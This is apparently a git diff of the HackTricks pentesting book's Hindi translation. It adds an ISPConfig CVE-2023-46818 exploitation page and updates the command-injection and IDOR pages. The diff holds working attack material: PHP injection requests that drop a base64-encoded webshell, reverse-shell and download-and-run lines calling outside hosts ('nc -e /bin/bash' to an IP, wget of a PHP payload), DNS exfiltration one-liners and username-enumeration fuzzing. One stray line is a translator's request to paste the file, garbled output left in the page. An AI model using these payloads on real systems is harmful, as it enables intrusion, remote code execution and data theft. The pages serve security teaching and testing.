- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
|
||||||
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
|
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
|
||||||
- [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
|
- [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
|
||||||
|
|
||||||
### पृष्ठों की निगरानी करें
|
### Monitor Pages for changes
|
||||||
|
|
||||||
आप [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) जैसे उपकरणों का उपयोग करके पृष्ठों की निगरानी कर सकते हैं ताकि संशोधन जो कमजोरियों को डाल सकते हैं।
|
आप pages में modifications को monitor करने के लिए जैसे tools का उपयोग कर सकते हैं: [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io), ताकि ऐसे परिवर्तन पकड़े जा सकें जो vulnerabilities जोड़ सकते हैं।
|
||||||
|
|
||||||
### HackTricks स्वचालित आदेश
|
### HackTricks Automatic Commands
|
||||||
```
|
```
|
||||||
Protocol_Name: Web #Protocol Abbreviation if there is one.
|
Protocol_Name: Web #Protocol Abbreviation if there is one.
|
||||||
Port_Number: 80,443 #Comma separated if there is more than one.
|
Port_Number: 80,443 #Comma separated if there is more than one.
|
||||||
|
91
src/network-services-pentesting/pentesting-web/ispconfig.md
Normal file
91
src/network-services-pentesting/pentesting-web/ispconfig.md
Normal file
@ -0,0 +1,91 @@
|
|||||||
|
# ISPConfig
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
## अवलोकन
|
||||||
|
|
||||||
|
ISPConfig एक open-source hosting control panel है। पुराने 3.2.x बिल्ड्स में एक language file editor फीचर था जो, जब super administrator के लिए सक्षम किया जाता था, malformed translation record के माध्यम से arbitrary PHP code injection की अनुमति देता था। इससे web server context में RCE हो सकता है और यह निर्भर करता है कि PHP कैसे execute होता है, privilege escalation भी संभव है।
|
||||||
|
|
||||||
|
Key default paths:
|
||||||
|
- Web root अक्सर `/var/www/ispconfig` पर होता है जब इसे `php -S` के साथ serve किया जाता है या Apache/nginx के माध्यम से।
|
||||||
|
- Admin UI HTTP(S) vhost पर पहुंच योग्य होता है (कभी-कभी केवल localhost से बाउंड; आवश्यकता होने पर SSH port-forward का उपयोग करें)।
|
||||||
|
|
||||||
|
टिप: यदि पैनल लोकली बाउंड है (उदा. `127.0.0.1:8080`), तो इसे फ़ॉरवर्ड करें:
|
||||||
|
```bash
|
||||||
|
ssh -L 9001:127.0.0.1:8080 user@target
|
||||||
|
# then browse http://127.0.0.1:9001
|
||||||
|
```
|
||||||
|
## Language editor PHP code injection (CVE-2023-46818)
|
||||||
|
|
||||||
|
- Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
|
||||||
|
- Preconditions:
|
||||||
|
- Login as the built-in superadmin account `admin` (other roles are not affected according to the vendor)
|
||||||
|
- Language editor must be enabled: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini`
|
||||||
|
- Impact: Authenticated admin can inject arbitrary PHP that is written into a language file and executed by the application, achieving RCE in the web context
|
||||||
|
|
||||||
|
References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
|
||||||
|
|
||||||
|
### Manual exploitation flow
|
||||||
|
|
||||||
|
1) Open/create a language file to obtain CSRF tokens
|
||||||
|
|
||||||
|
Send a first POST to initialize the form and parse the CSRF fields from the HTML response (`csrf_id`, `csrf_key`). Example request path: `/admin/language_edit.php`.
|
||||||
|
|
||||||
|
2) Inject PHP via records[] and save
|
||||||
|
|
||||||
|
Submit a second POST including the CSRF fields and a malicious translation record. Minimal command-execution probes:
|
||||||
|
```http
|
||||||
|
POST /admin/language_edit.php HTTP/1.1
|
||||||
|
Host: 127.0.0.1:9001
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
Cookie: ispconfig_auth=...
|
||||||
|
|
||||||
|
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
|
||||||
|
```
|
||||||
|
Out-of-band test (ICMP का निरीक्षण):
|
||||||
|
```http
|
||||||
|
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
|
||||||
|
```
|
||||||
|
3) फाइलें लिखें और एक webshell डालें
|
||||||
|
|
||||||
|
वेब-से पहुँचा जा सकने वाले पथ (उदा., `admin/`) के अंतर्गत फ़ाइल बनाने के लिए `file_put_contents` का उपयोग करें:
|
||||||
|
```http
|
||||||
|
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
|
||||||
|
```
|
||||||
|
फिर POST बॉडी में खराब कैरक्टर्स से बचने के लिए base64 का उपयोग करते हुए एक सरल webshell लिखें:
|
||||||
|
```http
|
||||||
|
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
|
||||||
|
```
|
||||||
|
कृपया उस फ़ाइल (src/network-services-pentesting/pentesting-web/ispconfig.md) की सामग्री यहाँ पेस्ट करें या अटैच करें ताकि मैं इसे दिए गए निर्देशों के अनुसार Markdown/HTML संरचना बनाए रखते हुए अंग्रेज़ी से हिन्दी में अनुवाद कर सकूँ।
|
||||||
|
```bash
|
||||||
|
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
|
||||||
|
```
|
||||||
|
यदि PHP को root के रूप में निष्पादित किया जाता है (उदा., `php -S 127.0.0.1:8080` जिसे root ने शुरू किया हो), तो यह तुरंत root RCE प्रदान करता है। अन्यथा, आप वेब सर्वर उपयोगकर्ता के रूप में कोड निष्पादन प्राप्त करते हैं।
|
||||||
|
|
||||||
|
### Python PoC
|
||||||
|
|
||||||
|
तैयार-से-इस्तेमाल exploit token handling और payload delivery को स्वचालित करता है:
|
||||||
|
- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
|
||||||
|
|
||||||
|
उदाहरण चलाना:
|
||||||
|
```bash
|
||||||
|
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
|
||||||
|
```
|
||||||
|
### हार्डनिंग
|
||||||
|
|
||||||
|
- 3.2.11p1 या बाद के संस्करण पर अपग्रेड करें
|
||||||
|
- भाषा संपादक को तब तक अक्षम रखें जब तक कि यह सख्ती से आवश्यक न हो:
|
||||||
|
```
|
||||||
|
admin_allow_langedit=no
|
||||||
|
```
|
||||||
|
- Panel को root के रूप में चलाने से बचें; PHP-FPM या वेब सर्वर को कम अधिकारों पर चलाने के लिए कॉन्फ़िगर करें।
|
||||||
|
- बिल्ट-इन `admin` खाते के लिए मजबूत प्रमाणीकरण लागू करें।
|
||||||
|
|
||||||
|
## संदर्भ
|
||||||
|
|
||||||
|
- [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/)
|
||||||
|
- [CVE-2023-46818 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818)
|
||||||
|
- [bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
|
||||||
|
- [HTB Nocturnal: Root via ISPConfig language editor RCE](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
@ -4,11 +4,11 @@
|
|||||||
|
|
||||||
## What is command Injection?
|
## What is command Injection?
|
||||||
|
|
||||||
एक **command injection** हमलावर को एक एप्लिकेशन होस्ट करने वाले सर्वर पर मनमाने ऑपरेटिंग सिस्टम कमांड्स को निष्पादित करने की अनुमति देता है। इसके परिणामस्वरूप, एप्लिकेशन और इसके सभी डेटा पूरी तरह से समझौता किए जा सकते हैं। इन कमांड्स का निष्पादन आमतौर पर हमलावर को एप्लिकेशन के वातावरण और अंतर्निहित प्रणाली पर अनधिकृत पहुंच या नियंत्रण प्राप्त करने की अनुमति देता है।
|
एक **command injection** हमलावर को उस सर्वर पर मनमाने ऑपरेटिंग सिस्टम कमांड्स चलाने की अनुमति देता है जो किसी एप्लिकेशन की मेज़बानी कर रहा होता है। नतीजतन, एप्लिकेशन और उसके सभी डेटा को पूरी तरह से समझौता किया जा सकता है। इन कमांड्स के निष्पादन से आमतौर पर हमलावर को एप्लिकेशन के वातावरण और अंतर्निहित सिस्टम पर अनधिकृत पहुँच या नियंत्रण प्राप्त हो जाता है।
|
||||||
|
|
||||||
### Context
|
### संदर्भ
|
||||||
|
|
||||||
**जहां आपका इनपुट इंजेक्ट किया जा रहा है** उसके आधार पर, आपको **उद्धृत संदर्भ को समाप्त** करने की आवश्यकता हो सकती है ( `"` या `'` का उपयोग करके) कमांड्स से पहले।
|
यह निर्भर करता है कि **आपका इनपुट कहाँ इंजेक्ट किया जा रहा है** — ऐसा होने पर आपको कमांड्स से पहले **उद्धरणित संदर्भ को समाप्त करना** आवश्यक हो सकता है ( `"` या `'` का उपयोग करके)।
|
||||||
|
|
||||||
## Command Injection/Execution
|
## Command Injection/Execution
|
||||||
```bash
|
```bash
|
||||||
@ -18,6 +18,7 @@ ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
|
|||||||
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
|
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
|
||||||
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
|
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
|
||||||
ls %0A id # %0A Execute both (RECOMMENDED)
|
ls %0A id # %0A Execute both (RECOMMENDED)
|
||||||
|
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
|
||||||
|
|
||||||
#Only unix supported
|
#Only unix supported
|
||||||
`ls` # ``
|
`ls` # ``
|
||||||
@ -31,22 +32,22 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
|||||||
```
|
```
|
||||||
### **Limition** Bypasses
|
### **Limition** Bypasses
|
||||||
|
|
||||||
यदि आप **linux मशीन के अंदर मनमाने कमांड्स को निष्पादित करने** की कोशिश कर रहे हैं, तो आप इस **Bypasses** के बारे में पढ़ने में रुचि रखेंगे:
|
यदि आप **arbitrary commands inside a linux machine** निष्पादित करने की कोशिश कर रहे हैं, तो आप इस **Bypasses:** के बारे में पढ़ने में रुचि रखेंगे:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../linux-hardening/bypass-bash-restrictions/
|
../linux-hardening/bypass-bash-restrictions/
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### **Examples**
|
### **उदाहरण**
|
||||||
```
|
```
|
||||||
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
|
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
|
||||||
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
|
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
|
||||||
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
|
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
|
||||||
```
|
```
|
||||||
### Parameters
|
### पैरामीटर
|
||||||
|
|
||||||
यहाँ शीर्ष 25 पैरामीटर हैं जो कोड इंजेक्शन और समान RCE कमजोरियों के लिए संवेदनशील हो सकते हैं (from [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
यहाँ शीर्ष 25 पैरामीटर दिए गए हैं जो code injection और समान RCE vulnerabilities के लिए कमजोर हो सकते हैं (स्रोत: [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||||
```
|
```
|
||||||
?cmd={payload}
|
?cmd={payload}
|
||||||
?exec={payload}
|
?exec={payload}
|
||||||
@ -76,7 +77,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
|
|||||||
```
|
```
|
||||||
### Time based data exfiltration
|
### Time based data exfiltration
|
||||||
|
|
||||||
डेटा निकालना: चर द्वारा चर
|
डेटा निकालना: char by char
|
||||||
```
|
```
|
||||||
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||||
real 0m5.007s
|
real 0m5.007s
|
||||||
@ -88,9 +89,9 @@ real 0m0.002s
|
|||||||
user 0m0.000s
|
user 0m0.000s
|
||||||
sys 0m0.000s
|
sys 0m0.000s
|
||||||
```
|
```
|
||||||
### DNS आधारित डेटा निकासी
|
### DNS based data exfiltration
|
||||||
|
|
||||||
`https://github.com/HoLyVieR/dnsbin` से उपकरण के आधार पर, जो dnsbin.zhack.ca पर भी होस्ट किया गया है
|
यह tool `https://github.com/HoLyVieR/dnsbin` पर उपलब्ध है और dnsbin.zhack.ca पर भी होस्ट किया गया है
|
||||||
```
|
```
|
||||||
1. Go to http://dnsbin.zhack.ca/
|
1. Go to http://dnsbin.zhack.ca/
|
||||||
2. Execute a simple 'ls'
|
2. Execute a simple 'ls'
|
||||||
@ -100,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
|
|||||||
```
|
```
|
||||||
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
|
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
|
||||||
```
|
```
|
||||||
DNS आधारित डेटा एक्सफिल्ट्रेशन की जांच के लिए ऑनलाइन उपकरण:
|
DNS based data exfiltration की जाँच करने के लिए ऑनलाइन टूल:
|
||||||
|
|
||||||
- dnsbin.zhack.ca
|
- dnsbin.zhack.ca
|
||||||
- pingb.in
|
- pingb.in
|
||||||
|
|
||||||
### फ़िल्टरिंग बाईपास
|
### Filtering bypass
|
||||||
|
|
||||||
#### Windows
|
#### Windows
|
||||||
```
|
```
|
||||||
@ -119,9 +120,9 @@ powershell C:**2\n??e*d.*? # notepad
|
|||||||
../linux-hardening/bypass-bash-restrictions/
|
../linux-hardening/bypass-bash-restrictions/
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### Node.js `child_process.exec` बनाम `execFile`
|
### Node.js `child_process.exec` vs `execFile`
|
||||||
|
|
||||||
जब आप JavaScript/TypeScript बैक-एंड का ऑडिट करते हैं, तो आप अक्सर Node.js `child_process` API का सामना करेंगे।
|
जब आप JavaScript/TypeScript बैक-एंड का ऑडिट करते हैं, तो अक्सर आपको Node.js `child_process` API मिलेगी।
|
||||||
```javascript
|
```javascript
|
||||||
// Vulnerable: user-controlled variables interpolated inside a template string
|
// Vulnerable: user-controlled variables interpolated inside a template string
|
||||||
const { exec } = require('child_process');
|
const { exec } = require('child_process');
|
||||||
@ -129,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
|
|||||||
/* … */
|
/* … */
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
`exec()` एक **शेल** (`/bin/sh -c`) उत्पन्न करता है, इसलिए कोई भी चर जो शेल के लिए विशेष अर्थ रखता है (बैक-टिक्स, `;`, `&&`, `|`, `$()`, …) उपयोगकर्ता इनपुट के स्ट्रिंग में संयोजित होने पर **कमांड इंजेक्शन** का परिणाम देगा।
|
`exec()` एक **shell** (`/bin/sh -c`) शुरू करता है, इसलिए shell के लिए विशेष अर्थ रखने वाला कोई भी कैरेक्टर (back-ticks, `;`, `&&`, `|`, `$()`, …) जब स्ट्रिंग में user input के साथ जोड़ा जाता है तो **command injection** हो सकता है।
|
||||||
|
|
||||||
**Mitigation:** `execFile()` (या `spawn()` बिना `shell` विकल्प के) का उपयोग करें और **प्रत्येक तर्क को एक अलग ऐरे तत्व के रूप में प्रदान करें** ताकि कोई शेल शामिल न हो:
|
**निवारण:** use `execFile()` (or `spawn()` without the `shell` option) और **प्रत्येक argument को अलग array element के रूप में प्रदान करें** ताकि कोई shell शामिल न हो:
|
||||||
```javascript
|
```javascript
|
||||||
const { execFile } = require('child_process');
|
const { execFile } = require('child_process');
|
||||||
execFile('/usr/bin/do-something', [
|
execFile('/usr/bin/do-something', [
|
||||||
@ -139,9 +140,9 @@ execFile('/usr/bin/do-something', [
|
|||||||
'--payload', JSON.stringify(payload)
|
'--payload', JSON.stringify(payload)
|
||||||
]);
|
]);
|
||||||
```
|
```
|
||||||
वास्तविक दुनिया का मामला: *Synology Photos* ≤ 1.7.0-0794 एक अनधिकृत WebSocket इवेंट के माध्यम से शोषण योग्य था जिसने हमलावर द्वारा नियंत्रित डेटा को `id_user` में रखा, जिसे बाद में `exec()` कॉल में एम्बेड किया गया, RCE प्राप्त करते हुए (Pwn2Own Ireland 2024)।
|
वास्तविक मामला: *Synology Photos* ≤ 1.7.0-0794 एक अप्रमाणित WebSocket event के माध्यम से शोषण योग्य था जिसने हमलावर द्वारा नियंत्रित डेटा को `id_user` में रखा, जो बाद में `exec()` कॉल में एम्बेड किया गया, जिससे RCE हासिल हुआ (Pwn2Own Ireland 2024).
|
||||||
|
|
||||||
## ब्रूट-फोर्स डिटेक्शन लिस्ट
|
## Brute-Force डिटेक्शन सूची
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -154,5 +155,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject
|
|||||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
|
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
|
||||||
- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
|
- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
|
||||||
- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
|
- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
|
||||||
|
- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
|
||||||
|
- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
@ -2,22 +2,23 @@
|
|||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) तब प्रकट होता है जब एक वेब या API एंडपॉइंट एक उपयोगकर्ता-नियंत्रित पहचानकर्ता को प्रकट करता है या स्वीकार करता है जो **प्रत्यक्ष रूप से** एक आंतरिक वस्तु तक पहुँचने के लिए उपयोग किया जाता है **बिना यह सत्यापित किए कि कॉलर को उस वस्तु तक पहुँचने/संशोधित करने के लिए अधिकृत है**। सफल शोषण सामान्यतः क्षैतिज या ऊर्ध्वाधर विशेषाधिकार-उन्नयन की अनुमति देता है जैसे अन्य उपयोगकर्ताओं के डेटा को पढ़ना या संशोधित करना और, सबसे खराब स्थिति में, पूर्ण खाता अधिग्रहण या सामूहिक डेटा निकासी।
|
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) तब होता है जब कोई web या API endpoint एक user–controllable identifier का खुलासा करता है या स्वीकार करता है जिसे एक internal object तक पहुँचने के लिए **सीधे** उपयोग किया जाता है **बिना यह सत्यापित किए कि caller उस object को access/modify करने के लिए authorized है**।
|
||||||
|
Successful exploitation आमतौर पर horizontal या vertical privilege-escalation की अनुमति देता है, जैसे अन्य users के data को पढ़ना या modify करना, और worst case में full account takeover या mass-data exfiltration तक हो सकता है।
|
||||||
|
|
||||||
---
|
---
|
||||||
## 1. संभावित IDOR की पहचान करना
|
## 1. संभावित IDORs की पहचान
|
||||||
|
|
||||||
1. **पैरामीटर की तलाश करें जो एक वस्तु को संदर्भित करते हैं**:
|
1. ऐसे **parameters** खोजें जो किसी object का संदर्भ देते हों:
|
||||||
* पथ: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
|
* Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
|
||||||
* क्वेरी: `?id=42`, `?invoice=2024-00001`
|
* Query: `?id=42`, `?invoice=2024-00001`
|
||||||
* बॉडी / JSON: `{"user_id": 321, "order_id": 987}`
|
* Body / JSON: `{"user_id": 321, "order_id": 987}`
|
||||||
* हेडर / कुकीज़: `X-Client-ID: 4711`
|
* Headers / Cookies: `X-Client-ID: 4711`
|
||||||
2. उन एंडपॉइंट्स को प्राथमिकता दें जो **डेटा पढ़ते या अपडेट करते हैं** (`GET`, `PUT`, `PATCH`, `DELETE`)।
|
2. उन endpoints को प्राथमिकता दें जो data को **read या update** करते हैं (`GET`, `PUT`, `PATCH`, `DELETE`)।
|
||||||
3. ध्यान दें जब पहचानकर्ता **क्रमबद्ध या पूर्वानुमानित** होते हैं - यदि आपका ID `64185742` है, तो `64185741` शायद मौजूद है।
|
3. ध्यान दें जब identifiers **sequential या predictable** हों – यदि आपका ID `64185742` है, तो `64185741` शायद मौजूद होगा।
|
||||||
4. छिपे हुए या वैकल्पिक प्रवाहों का अन्वेषण करें (जैसे *"Paradox team members"* लिंक लॉगिन पृष्ठों में) जो अतिरिक्त APIs को उजागर कर सकते हैं।
|
4. hidden या alternate flows (उदा. login pages में *"Paradox team members"* link) की खोज करें जो extra APIs को उजागर कर सकते हैं।
|
||||||
5. एक **प्रमाणित निम्न-विशेषाधिकार सत्र** का उपयोग करें और केवल ID को **समान टोकन/कुकी रखते हुए** बदलें। अधिकृतता त्रुटि की अनुपस्थिति आमतौर पर IDOR का संकेत होती है।
|
5. एक **authenticated low-privilege session** का उपयोग करें और केवल ID बदलें **same token/cookie रखते हुए**। Authorization error का अभाव आमतौर पर IDOR का संकेत होता है।
|
||||||
|
|
||||||
### त्वरित मैनुअल छेड़छाड़ (Burp Repeater)
|
### त्वरित मैन्युअल छेड़छाड़ (Burp Repeater)
|
||||||
```
|
```
|
||||||
PUT /api/lead/cem-xhr HTTP/1.1
|
PUT /api/lead/cem-xhr HTTP/1.1
|
||||||
Host: www.example.com
|
Host: www.example.com
|
||||||
@ -26,7 +27,7 @@ Content-Type: application/json
|
|||||||
|
|
||||||
{"lead_id":64185741}
|
{"lead_id":64185741}
|
||||||
```
|
```
|
||||||
### स्वचालित सूचीकरण (Burp Intruder / curl लूप)
|
### स्वचालित enumeration (Burp Intruder / curl loop)
|
||||||
```bash
|
```bash
|
||||||
for id in $(seq 64185742 64185700); do
|
for id in $(seq 64185742 64185700); do
|
||||||
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
|
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
|
||||||
@ -36,48 +37,70 @@ curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
|
|||||||
done
|
done
|
||||||
```
|
```
|
||||||
---
|
---
|
||||||
## 2. वास्तविक-विश्व केस अध्ययन – McHire चैटबॉट प्लेटफ़ॉर्म (2025)
|
|
||||||
|
|
||||||
Paradox.ai-शक्ति वाले **McHire** भर्ती पोर्टल के मूल्यांकन के दौरान निम्नलिखित IDOR का पता चला:
|
### user/file enumeration के लिए Error-response oracle
|
||||||
|
|
||||||
|
जब कोई download endpoint दोनों username और filename स्वीकार करता है (उदा. `/view.php?username=<u>&file=<f>`), error messages में सूक्ष्म अंतर अक्सर एक oracle बनाते हैं:
|
||||||
|
|
||||||
|
- Non-existent username → "User not found"
|
||||||
|
- Bad filename but valid extension → "File does not exist" (कभी-कभी उपलब्ध files को भी सूचीबद्ध करता है)
|
||||||
|
- Bad extension → validation error
|
||||||
|
|
||||||
|
किसी भी authenticated session के साथ, आप benign filename रखते हुए username parameter को fuzz कर सकते हैं और "user not found" string पर filter करके मान्य users का पता लगा सकते हैं:
|
||||||
|
```bash
|
||||||
|
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
|
||||||
|
-b 'PHPSESSID=<session-cookie>' \
|
||||||
|
-w /opt/SecLists/Usernames/Names/names.txt \
|
||||||
|
-fr 'User not found'
|
||||||
|
```
|
||||||
|
एक बार वैध उपयोगकर्ता नाम पहचान लिए जाने पर, सीधे विशिष्ट फाइलों का अनुरोध करें (e.g., `/view.php?username=amanda&file=privacy.odt`). यह पैटर्न अक्सर अन्य उपयोगकर्ताओं के दस्तावेज़ों के अनधिकृत प्रकटीकरण और credential leakage का कारण बनता है।
|
||||||
|
|
||||||
|
---
|
||||||
|
## 2. वास्तविक दुनिया का केस स्टडी – McHire Chatbot Platform (2025)
|
||||||
|
|
||||||
|
Paradox.ai-powered **McHire** भर्ती पोर्टल के आकलन के दौरान निम्नलिखित IDOR पाया गया:
|
||||||
|
|
||||||
* Endpoint: `PUT /api/lead/cem-xhr`
|
* Endpoint: `PUT /api/lead/cem-xhr`
|
||||||
* Authorization: **किसी भी** रेस्तरां परीक्षण खाते के लिए उपयोगकर्ता सत्र कुकी
|
* Authorization: user session cookie for **any** restaurant test account
|
||||||
* Body parameter: `{"lead_id": N}` – 8-अंकों का, **क्रमबद्ध** संख्यात्मक पहचानकर्ता
|
* Body parameter: `{"lead_id": N}` – 8-digit, **sequential** numeric identifier
|
||||||
|
|
||||||
`lead_id` को घटाकर, परीक्षक ने मनमाने आवेदकों की **पूर्ण PII** (नाम, ई-मेल, फोन, पता, शिफ्ट प्राथमिकताएँ) प्राप्त की, साथ ही एक उपभोक्ता **JWT** जो सत्र हाइजैकिंग की अनुमति देता है। रेंज `1 – 64,185,742` की गणना करने पर लगभग **64 मिलियन** रिकॉर्ड उजागर हुए।
|
`lead_id` घटाकर, टेस्टर ने मनमाने आवेदकों की **full PII** (नाम, ई‑मेल, फोन, पता, शिफ्ट प्राथमिकताएँ) और एक consumer **JWT** प्राप्त किया जिसे उपयोग करके session hijacking संभव हुआ। रेंज `1 – 64,185,742` की enumeration ने लगभग **64 million** रिकॉर्ड उजागर किए।
|
||||||
|
|
||||||
Proof-of-Concept अनुरोध:
|
Proof-of-Concept request:
|
||||||
```bash
|
```bash
|
||||||
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
|
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
|
||||||
-H 'Content-Type: application/json' \
|
-H 'Content-Type: application/json' \
|
||||||
-d '{"lead_id":64185741}'
|
-d '{"lead_id":64185741}'
|
||||||
```
|
```
|
||||||
संयुक्त **डिफ़ॉल्ट प्रशासन क्रेडेंशियल्स** (`123456:123456`) ने परीक्षण खाते तक पहुँच प्रदान की, इस भेद्यता के परिणामस्वरूप एक महत्वपूर्ण, कंपनी-व्यापी डेटा लीक हुआ।
|
टेस्ट अकाउंट तक पहुँच देने वाले **default admin credentials** (`123456:123456`) के साथ मिलकर, इस कमज़ोरी ने एक गंभीर, कंपनी-व्यापी डेटा उल्लंघन का कारण बना।
|
||||||
|
|
||||||
---
|
---
|
||||||
## 3. IDOR / BOLA का प्रभाव
|
## 3. IDOR / BOLA का प्रभाव
|
||||||
* क्षैतिज वृद्धि – **अन्य उपयोगकर्ताओं** के डेटा को पढ़ना/अपडेट करना/हटाना।
|
* Horizontal escalation – **अन्य उपयोगकर्ताओं** के डेटा को पढ़ना/अपडेट/डिलीट करना।
|
||||||
* ऊर्ध्वाधर वृद्धि – निम्न विशेषाधिकार प्राप्त उपयोगकर्ता प्रशासन-केवल कार्यक्षमता प्राप्त करता है।
|
* Vertical escalation – कम अधिकार वाला उपयोगकर्ता केवल एडमिन के लिए उपलब्ध कार्यक्षमता प्राप्त कर लेता है।
|
||||||
* यदि पहचानकर्ता अनुक्रमिक हैं (जैसे, आवेदक आईडी, चालान) तो सामूहिक डेटा लीक।
|
* यदि identifiers क्रमिक हों (जैसे applicant IDs, invoices), तो बड़े पैमाने पर डेटा उल्लंघन हो सकता है।
|
||||||
* अन्य उपयोगकर्ताओं के टोकन चुराकर या पासवर्ड रीसेट करके खाता अधिग्रहण।
|
* अन्य उपयोगकर्ताओं के tokens चुराकर या उनके पासवर्ड रीसेट करके खाता जब्ती।
|
||||||
|
|
||||||
---
|
---
|
||||||
## 4. शमन और सर्वोत्तम प्रथाएँ
|
## 4. रोकथाम और सर्वोत्तम अभ्यास
|
||||||
